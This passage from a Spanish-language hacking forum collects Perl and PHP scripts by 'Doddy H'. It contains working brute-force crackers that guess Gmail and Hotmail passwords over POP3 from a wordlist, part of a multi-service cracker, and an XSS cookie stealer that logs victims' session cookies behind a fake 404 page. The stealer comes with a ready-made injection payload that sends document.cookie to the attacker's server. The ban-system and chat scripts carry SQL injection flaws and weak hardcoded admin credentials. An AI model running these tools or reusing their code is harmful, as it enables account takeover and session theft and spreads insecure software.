        print "[Password] : $_[2]\n";

        savefile( "cracked-logs.txt",
            $_[3] . ":" . $_[0] . ":" . $_[1] . ":" . $_[2] );

        copyright();

    }

    sub yeahmail {

        print "\a\a\n\n[+] Cracked\n\n";
        print "[Account Type] : $_[0]\n";
        print "[User] : $_[1]\n";
        print "[Password] : $_[2]\n";

        savefile( "cracked-logs.txt", $_[0] . ":" . $_[1] . ":" . $_[2] );

        copyright();

    }

    sub openwordlist {

        my $file = shift;

        print "\n[+] Opening file\n\n";

        unless ( -f $file ) {
            print "\n[-] File not found\n";
            copyright();
        }

        print "[+] Reading file\n\n";

        open( FILE, $file );
        my @words = <FILE>;
        close FILE;

        print "[+] Words Found : " . int(@words) . "\n\n";

        return @words;

    }

    sub savefile {
        open( SAVE, ">>" . $_[0] );
        print SAVE $_[1] . "\n";
        close SAVE;
    }

    sub form1 {

        print "\n[+] Host : ";
        chomp( my $host = <stdin> );
        print "\n[+] User : ";
        chomp( my $user = <stdin> );
        print "\n[+] Wordlist : ";
        chomp( my $word = <stdin> );

        return ( $host, $user, $word );

    }

    sub form2 {
        print "\n[+] Email : ";
        chomp( my $email = <stdin> );
        print "\n[+] Wordlist : ";
        chomp( my $word = <stdin> );

        return ( $email, $word );
    }

    sub head {
        print qq(

    @     @                                    @@@@                 @             
    @     @                                   @    @                @             
    @@   @@                                   @                     @             
    @@   @@   @@@   @@   @@  @ @   @  @@@     @      @@  @@@   @@@  @  @   @@@  @@
    @ @ @ @      @ @  @ @  @ @ @   @ @   @    @      @      @ @   @ @ @   @   @ @
    @ @ @ @   @@@@  @    @   @  @ @  @@@@@    @      @   @@@@ @     @@    @@@@@ @
    @  @  @  @   @   @    @  @  @ @  @        @      @  @   @ @     @ @   @     @
    @  @  @  @   @ @  @ @  @ @   @   @   @    @    @ @  @   @ @   @ @  @  @   @ @
    @     @   @@@@  @@   @@  @   @    @@@      @@@@  @   @@@@  @@@  @   @  @@@  @

                                 
                                                       
                                               
                                                  Coded By Doddy H





    [++] Services

    [1] : Telnet
    [2] : FTP
    [3] : POP3
    [4] : Mysql
    [5] : Hotmail
    [6] : Gmail



    );
    }

    sub copyright {
        print "\n\n(C) Doddy Hackman 2012\n\n";
        <stdin>;
        exit(1);
    }

    #The End ?

#311
Scripting / [Perl] Gmail Cracker 0.1
1 Febrero 2012, 19:25 PM
Un simple programa para crackear una cuenta Gmail.

Código (perl) [Seleccionar]

#Gmail Cracker 0.1
#Coded By Doddy H
#http://search.cpan.org/~sdowd/Mail-POP3Client-2.18/POP3Client.pm
#http://search.cpan.org/~sullr/IO-Socket-SSL-1.54/SSL.pm
#ppm install http://www.open.com.au/radiator/free-downloads/Net-SSLeay.ppd

use Mail::POP3Client;
use IO::Socket::SSL;

head();

if($ARGV[0] and $ARGV[1]) {
crackgmail($ARGV[0],$ARGV[1]);
} else {
print "\n[+] Sintax : $0 <email> <wordlist>\n";
}

copyright();

sub crackgmail {

my($user,$wordlist) = @_ ;

unless(-f $wordlist) {
print "\n[-] Wordlist not found\n";
copyright();
}

print "\n[+] Loading wordlist\n";

open(FILE,$wordlist);
my @passwords = <FILE>;
close FILE;

print "\n[+] Words Found : ".int(@passwords)."\n";
print "\n[+] Cracking...\n\n";

for my $pass(@passwords) {
chomp $pass;

my $so = IO::Socket::SSL->new(PeerAddr=>"pop.gmail.com",PeerPort => 995,Proto => "tcp");

my $nave = Mail::POP3Client->new();

$nave->User($user);
$nave->Pass($pass);
$nave->Socket($so);

if ($nave->Connect()) {
print "\a\a\n[+] Email : $user\n";
print "[+] Password : $pass\n";
$so->close();
$nave->close();
copyright();
}
$so->close();
$nave->close();
}

print "\n[+] Password not found\n";

}

sub head {
print "\n\n-- == Gmail Cracker == --\n\n";
}

sub copyright {
print "\n\n(C) Doddy Hackman 2012\n\n";
exit(1);
}

# The End ?
#312
Scripting / [Perl] Hotmail Cracker 0.1
1 Febrero 2012, 19:24 PM
Un simple script para crackear una cuenta Hotmail.

Código (perl) [Seleccionar]

#Hotmail Cracker 0.1
#Coded By Doddy H
#http://search.cpan.org/~sdowd/Mail-POP3Client-2.18/POP3Client.pm
#http://search.cpan.org/~sullr/IO-Socket-SSL-1.54/SSL.pm
#ppm install http://www.open.com.au/radiator/free-downloads/Net-SSLeay.ppd

use Mail::POP3Client;
use IO::Socket::SSL;

head();

if($ARGV[0] and $ARGV[1]) {
crackhot($ARGV[0],$ARGV[1]);
} else {
print "\n[+] Sintax : $0 <email> <wordlist>\n";
}

copyright();

sub crackhot {

my($user,$wordlist) = @_ ;

unless(-f $wordlist) {
print "\n[-] Wordlist not found\n";
copyright();
}

print "\n[+] Loading wordlist\n";

open(FILE,$wordlist);
my @passwords = <FILE>;
close FILE;

print "\n[+] Words Found : ".int(@passwords)."\n";
print "\n[+] Cracking...\n\n";

for my $pass(@passwords) {
chomp $pass;

my $so = IO::Socket::SSL->new(PeerAddr=>"pop3.live.com",PeerPort => 995,Proto => "tcp");

my $nave = Mail::POP3Client->new();

$nave->User($user);
$nave->Pass($pass);
$nave->Socket($so);

if ($nave->Connect()) {
print "\a\a\n[+] Email : $user\n";
print "[+] Password : $pass\n";
$so->close();
$nave->close();
copyright();
}
$so->close();
$nave->close();
}

print "\n[+] Password not found\n";

}

sub head {
print "\n\n-- == Hotmail Cracker == --\n\n";
}

sub copyright {
print "\n\n(C) Doddy Hackman 2012\n\n";
exit(1);
}

# The End ?
#313
PHP / Ban System 0.1
31 Enero 2012, 21:58 PM
Un simple codigo para banear una IP.

El codigo

Código (php) [Seleccionar]

<?php 

//Ban System 0.1
//Coded By Doddy H

//Datos para la DB

$host "localhost";
$userw "root";
$passw "";
$db "ban";

//

mysql_connect($host,$userw,$passw);
mysql_select_db($db);

$ipa ip2long($_SERVER[REMOTE_ADDR]);
$ip $_SERVER[REMOTE_ADDR];

if (
$ipa == -|| $ipa === FALSE) {

$re mysql_query("select ip from bansystem where ip='$ip'");

if (
mysql_num_rows($re) > 0) {
echo 
"<center><h1>Has sido baneado de esta pagina</h1></center>";
} else {
echo 
"<center><h2>Bienvenido</h2></center>";
}

} else {
echo 
"<script>alert('Muy gracioso');</script>";
}

mysql_close();


// The End ?


?>




El administrador

Código (php) [Seleccionar]

<?php 

//Ban System Admin 0.1
//Coded By Doddy H

//Datos para el login

$username "admin";
$password "21232f297a57a5a743894a0e4a801fc3"//admin

//

//Datos para la DB

$host "localhost";
$userw "root";
$passw "";
$db "ban";

//

if (isset($_COOKIE['portal'])) {

$st base64_decode($_COOKIE['portal']);

$plit split("@",$st);
$user $plit[0];
$pass $plit[1];

if (
$user == $username and $pass == $password) {

mysql_connect($host,$userw,$passw);
mysql_select_db($db);

if(isset(
$_POST['instalar'])) {

$todo "create table bansystem (
id int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
ip TEXT NOT NULL,
PRIMARY KEY(id));
"
;

if (
mysql_query($todo)) {
echo 
"<script>alert('Instalado correctamente');</script>";
echo 
'<meta http-equiv="refresh" content=0;URL=>';
} else {
echo 
"<script>alert('Error');</script>";
}
}

if( 
mysql_num_rows(mysql_query("show tables like 'bansystem'"))) {
//Lo demas

echo "<title>BanSystem Administracion</title>";
echo 
"<center><h1>BanSystem Administracion</h1></center><br><br>";

if(isset(
$_POST['ipadd'])) {

$ipfinal ip2long($_POST['ipadd']);
$ipaz $_POST['ipadd'];

if (
$ipfinal == -|| $ipfinal === FALSE) {
echo 
"<script>alert('Eso no es una IP');</script>";

} else {

if (
mysql_query("INSERT INTO bansystem (id,ip) values (NULL,'$ipaz')")) {
echo 
"<script>alert('IP Agregada');</script>";
} else {
echo 
"<script>alert('Error');</script>";
}


}
}

if(isset(
$_GET['del'])) {
$id $_GET['del'];
if (@
mysql_query("DELETE FROM bansystem where id ='$id'")) {
echo 
"<script>alert('Borrado');</script>";
} else {
echo 
"<script>alert('Error');</script>";
}
}

echo 
"
<center>
<h2>Agregar una IP</h2><br><br>
<form action='' method=POST>
IP : <input type=text name=ipadd value=127.0.0.1><input type=submit value=Agregar>
</form>
<br><br>
<h2>Baneados</h2><br><br>
<table border=1>
<td>ID</td><td>IP</td><td>Option</td><tr>"
;

$sen = @mysql_query("select * from bansystem order by id ASC");

while (
$ab = @mysql_fetch_array($sen)) {
echo 
"<td>".htmlentities($ab[0])."</td><td>".htmlentities($ab[1])."</td><td><a href=?del=".htmlentities($ab[0]).">Delete</a></td><tr>";
}

echo 
"</table>
</center>
"
;
//
} else {
echo 
"
<center><br><br>
<form action='' method=POST>
<h2>Deseas instalar Ban System ?</h2><br><br>
<input type=submit name=instalar value=Instalar>
</form>"
;
}

mysql_close();
exit(
1);

// End

} else {
echo 
"<script>alert('Segui Participando');</script>";
}
}

if (isset(
$_POST['login'])) {
if (
$_POST['user'] == $username and md5($_POST['password']) == $password) {
setcookie("portal",base64_encode($_POST['user']."@".md5($_POST['password'])));
echo 
"<script>alert('Bienvenido idiota');</script>";
echo 
'<meta http-equiv="refresh" content=0;URL=>';
} else {
echo 
"<script>alert('Segui Participando');</script>";
}

} else {

echo 
"
<title>Ban System</title>
<h1><center>Ban System</center></h1>
<br><br><center>
<form action='' method=POST>
Username : <input type=text name=user><br>
Password : <input type=text name=password><br><br>
<input type=submit name=login value=Enter><br>
</form>
</center><br><br>"
;

}

// The End ?


?>

#314
PHP / CookieManager 0.3
31 Enero 2012, 21:57 PM
Un simple cookie stealer para XSS.

Código (php) [Seleccionar]

<?php 

//CookieManager 0.3
//Coded By Doddy H

//Datos para el login

$username "admin";
$password "21232f297a57a5a743894a0e4a801fc3"//admin

//

//Datos para la DB

$host "localhost";
$userw "root";
$passw "";
$db "cookies";

//

mysql_connect($host,$userw,$passw);
mysql_select_db($db);

if(isset(
$_GET['id'])) {

if(empty(
$_GET['id'])) {
error();
}

$dia date("d.m.Y");
$ip $_SERVER["REMOTE_ADDR"];
$info $_SERVER["HTTP_USER_AGENT"];
$ref $_SERVER["HTTP_REFERER"];
$cookie $_GET['id'];

@
mysql_query("INSERT INTO todo(id,fecha,ip,info,referer,cookie)values(NULL,'$dia','$ip','$info','$ref','$cookie')");

header("Location:http://www.google.com.ar");

}

elseif (isset(
$_COOKIE['portal'])) {

$st base64_decode($_COOKIE['portal']);

$plit split("@",$st);
$user $plit[0];
$pass $plit[1];


if (
$user == $username and $pass == $password) {

echo 
"<title>CookieManager 0.3</title>";

echo 
"<STYLE type=text/css>

body,a:link {
background-color: #000000;
color:orange;
Courier New;
cursor:crosshair;
font-size: small;
}

input,table.outset,table.bord,table,textarea,select,fieldset,td,tr {
font: normal 10px Verdana, Arial, Helvetica,
sans-serif;
background-color:black;
color:orange; 
border: solid 1px orange;
border-color:orange
}

a:link,a:visited,a:active {
color: orange;
font: normal 10px Verdana, Arial, Helvetica,
sans-serif;
text-decoration: none;
}

</style>
"
;

if(isset(
$_POST['instalar'])) {

$todo "create table todo (
id int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
fecha TEXT NOT NULL,
ip TEXT NOT NULL,
info TEXT NOT NULL,
referer TEXT NOT NULL,
cookie TEXT NOT NULL,
PRIMARY KEY (id));
"
;

if (
mysql_query($todo)) {
echo 
"<script>alert('Installed');</script>";
} else {
echo 
"<script>alert('Error');</script>";
}
}

if( 
mysql_num_rows(mysql_query("show tables like 'todo'"))) {

//

if(isset($_GET['del'])) {
if (
is_numeric($_GET['del'])) {
if (@
mysql_query("delete from todo where id='".$_GET['del']."'")) {
echo 
"<script>alert('Deleted');</script>";
} else {
echo 
"<script>alert('Error');</script>";
}}}

echo 
"<center>";
echo 
"<h1>CookieManager</h1><br><br>";


$iny htmlentities("<script>document.location='http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."?id='%2Bdocument.cookie</script>");

echo 
"<b>CODE</b> : <input type=text name=iny value=$iny size=104><br><br>";

$re mysql_query("select * from todo order by id ASC");
$con mysql_num_rows($re);

if (
$con==0) {
echo 
"<script>alert('Not found cookies');</script>";
} else {

echo 
"<br><br><h1>Cookies Found</h1><br><br><table border=1 width=1100>";
echo 
"<td><b>ID</b></td><td><b>Date</b></td><td><b>IP</b></td><td><b>Data</b></td><td><b>Referer</b></td><td><b>Cookie</b></td><td><b>Option</b></td><tr>";

while (
$ver mysql_fetch_array($re)) {

echo 
"<td>".htmlentities($ver[0])."</td><td>".htmlentities($ver[1])."</td><td>".htmlentities($ver[2])."</td><td>".htmlentities($ver[3])."</td>"
echo 
"<td>".htmlentities($ver[4])."</td><td>".htmlentities($ver[5])."</td><td><a href=?del=".$ver[0].">Del</a></td><tr>";

}

echo 
"</table>";
echo 
"<br><br><br><br><br><h1>Coded By Doddy H || 2012</h1><br><br>";




}

//

} else {
echo 
"
<center><br><br>
<form action='' method=POST>
<h2>Deseas instalar CookieManager ?</h2><br><br>
<input type=submit name=instalar value=Instalar>
</form>"
;
}
exit(
1);
}
}

elseif (isset(
$_POST['login'])) {
if (
$_POST['user'] == $username and md5($_POST['password']) == $password) {
setcookie("portal",base64_encode($_POST['user']."@".md5($_POST['password'])));
echo 
"<script>alert('Welcome idiot');</script>";
echo 
'<meta http-equiv="refresh" content=0;URL=>';
} else {
echo 
"<script>alert('Continued to participate');</script>";
}
}

elseif(isset(
$_GET['adminow'])) {

echo 
"
<h1><center>Login</center></h1>
<br><br><center>
<form action='' method=POST>
Username : <input type=text name=user><br>
Password : <input type=text name=password><br><br>
<input type=submit name=login value=Enter><br>
</form>
</center><br><br>"
;
} else {

error();

}

function 
error() {
echo 
'<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>'
;
exit(
1);
}


mysql_close();

// The End ?


?>


#315
PHP / Mini Chat 0.3
31 Enero 2012, 21:57 PM
Una nueva version del simple chat que habia hecho hace un tiempo.

El codigo del chat

Código (php) [Seleccionar]

<?php

//Mini Chat 0.3 
//Coded By Doddy H

//Datos del a DB

$host "localhost";
$user "root";
$pass "";
$db "chat";

//

//Colores

$fondo "black";
$color "#00FF00";

//

echo "
<style>

.main {
word-wrap: break-word;
word-break:break-all; 
margin : -287px 0px 0px -490px;
border : White solid 1px;
BORDER-COLOR: 
$color
background-color:
$fondo;
color:
$color;
}

.otro {
background-color:
$fondo;
color:
$color;
BORDER-COLOR: 
$color;
}

</style>"
;

mysql_connect($host,$user,$pass);
mysql_select_db($db);

echo 
"<table border=0 width='210' style='table-layout: fixed'>";
echo 
"<td class=main><b>Mini Chat 0.3</b></td><tr class=main>";


$sumo mysql_query("SELECT MAX(id_comentario) FROM mensajes");

$s mysql_fetch_row($sumo);

foreach (
$s as $d) {
$total $d;
}

$test $total 10;

if (
$test <= 0) {
next;
} else {
$resto $test;

for (
$i 1$i <= $resto$i++) {
@
mysql_query("DELETE FROM mensajes where id_comentario='$i'");
}
}

$re = @mysql_query("select * from mensajes order by id_comentario DESC");

while (
$ver = @mysql_fetch_array($re)) {
echo 
"<td class=main><b>".$ver[2]."</b>:".$ver[1]."</td><tr class=main>";
}


echo 
"<br><br><td class=main><br><b>Dejar mensaje</b><br><br>
<form action='' method=POST>
Apodo : <input class=otro type=text name=apodo size=25><br>
Texto : <input class=otro type=text name=msg size=25><br><br>
<input class=otro type=submit name=chatentro value=Mandar>
</form>
<tr>
<td class=main><b>Coded By Doddy H</b></td><tr class=main>
</table>"
;


if (isset(
$_POST['chatentro'])) {

$sumo mysql_query("SELECT MAX(id_comentario) FROM mensajes");

$s mysql_fetch_row($sumo);

foreach (
$s as $d) {
$x_id $d+1;
}

$apodo htmlentities(addslashes($_POST['apodo']));
$mensaje  htmlentities(addslashes($_POST['msg']));

$apodo substr($apodo,0,70);
$mensaje substr($mensaje,0,70);

$rex mysql_query("select mensaje from insultos");

while (
$con mysql_fetch_array($rex)) {
$mensaje str_replace($con[0],"#$!*",$mensaje);
$apodo str_replace($con[0],"#$!*",$apodo);
}

@
mysql_query("INSERT INTO mensajes(id_comentario,apodo,mensaje)values('$x_id','$apodo','$mensaje')");

echo 
'<meta http-equiv="refresh" content=0;URL=>';

}

mysql_close();

// The End ? 

?>



El administrador.

Código (php) [Seleccionar]

<?php 

//Mini Chat 0.3 Admin

//Datos para el login

$username "admin";
$password "21232f297a57a5a743894a0e4a801fc3"//admin

//

//Datos para la DB

$host "localhost";
$userw "root";
$passw "";
$db "chat";

//

if (isset($_COOKIE['portal'])) {

$st base64_decode($_COOKIE['portal']);

$plit split("@",$st);
$user $plit[0];
$pass $plit[1];

if (
$user == $username and $pass == $password) {

echo 
"<title>Mini Chat 0.3</title>";

mysql_connect($host,$userw,$passw);
mysql_select_db($db);

if(isset(
$_POST['instalar'])) {

$todo "create table mensajes (
id_comentario int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
mensaje TEXT NOT NULL,
apodo VARCHAR(255) NOT NULL,
PRIMARY KEY (id_comentario));
"
;

$todo2 "create table insultos (
id_insulto int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
mensaje TEXT NOT NULL,
PRIMARY KEY (id_insulto));
"
;

if (
mysql_query($todo)) {
if (
mysql_query($todo2)) {

$insultos = array("lammer","lamer","maricon","noob");

foreach (
$insultos as $con) {
@
mysql_query("INSERT INTO insultos(id_insulto,mensaje)values(NULL,'$con')");
}

echo 
"<script>alert('Instalado correctamente');</script>";
echo 
'<meta http-equiv="refresh" content=0;URL=>';
}
} else {
echo 
"<script>alert('Error');</script>";
}
}

if( 
mysql_num_rows(mysql_query("show tables like 'mensajes'"))) {

//

$re mysql_query("select * from mensajes order by id_comentario ASC");

if (isset(
$_GET['id'])) {
if (
is_numeric($_GET['id'])) {
if (@
mysql_query("delete from mensajes where id_comentario='".$_GET['id']."'")) {
echo 
"<script>alert('Comentario borrado');</script>";
} else {
echo 
"<script>alert('Error');</script>";
}}}

echo 
"<center><h2>Comentarios encontrados</h2><br><br>";
echo 
"<table border=1>";
echo 
"<td><b>ID</b></td><td><b>Apodo</b></td><td><b>Texto</b></td><td><b>Opcion</b></td><tr>";

while (
$ver mysql_fetch_array($re)) {
echo 
"<td>".htmlentities($ver[0])."</td><td>".htmlentities($ver[2])."</td><td>".htmlentities($ver[1])."</td><td><a href=?id=".htmlentities($ver[0]).">Borrar</a></td><tr>";
}

echo 
"</table>";

if(isset(
$_POST['nuevoinsulto'])) {
$in $_POST['insul'];
@
mysql_query("INSERT INTO insultos(id_insulto,mensaje)values(NULL,'$in')");
}

if(isset(
$_GET['delpu'])) {
if (
is_numeric($_GET['delpu'])) {
if (@
mysql_query("delete from insultos where id_insulto='".$_GET['delpu']."'")) {
echo 
"<script>alert('Insulto borrado');</script>";
} else {
echo 
"<script>alert('Error');</script>";
}}}

echo 
"<br><br><h2>Bloqueo de insultos</h2><br><br>";
echo 
"
<form action='' method=POST>
Texto : <input type=text name=insul>
<input type=submit name=nuevoinsulto value=Agregar>
</form>"
;

echo 
"<br><br><h2>Insultos encontrados</h2><br><br>";

$rea mysql_query("select * from insultos order by id_insulto ASC");

echo 
"<table border=1>";
echo 
"<td>ID</td><td>Insulto</td><td>Opcion</td><tr>";
while (
$ver mysql_fetch_array($rea)) {
echo 
"<td>".htmlentities($ver[0])."</td><td>".htmlentities($ver[1])."</td><td><a href=?delpu=".htmlentities($ver[0]).">Borrar</a></td><tr>";
}

echo 
"</table>";
echo 
"</center>";

} else {
echo 
"
<center><br><br>
<form action='' method=POST>
<h2>Deseas instalar Mini Chat 0.3 ?</h2><br><br>
<input type=submit name=instalar value=Instalar>
</form>"
;
}

mysql_close();
exit(
1);

}
}

if (isset(
$_POST['login'])) {
if (
$_POST['user'] == $username and md5($_POST['password']) == $password) {
setcookie("portal",base64_encode($_POST['user']."@".md5($_POST['password'])));
echo 
"<script>alert('Bienvenido idiota');</script>";
echo 
'<meta http-equiv="refresh" content=0;URL=>';
} else {
echo 
"<script>alert('Segui Participando');</script>";
}

} else {

echo 
"
<title>Mini Chat 0.3</title>
<h1><center>Mini Chat 0.3</center></h1>
<br><br><center>
<form action='' method=POST>
Username : <input type=text name=user><br>
Password : <input type=text name=password><br><br>
<input type=submit name=login value=Enter><br>
</form>
</center><br><br>"
;

}

// The End ?


?>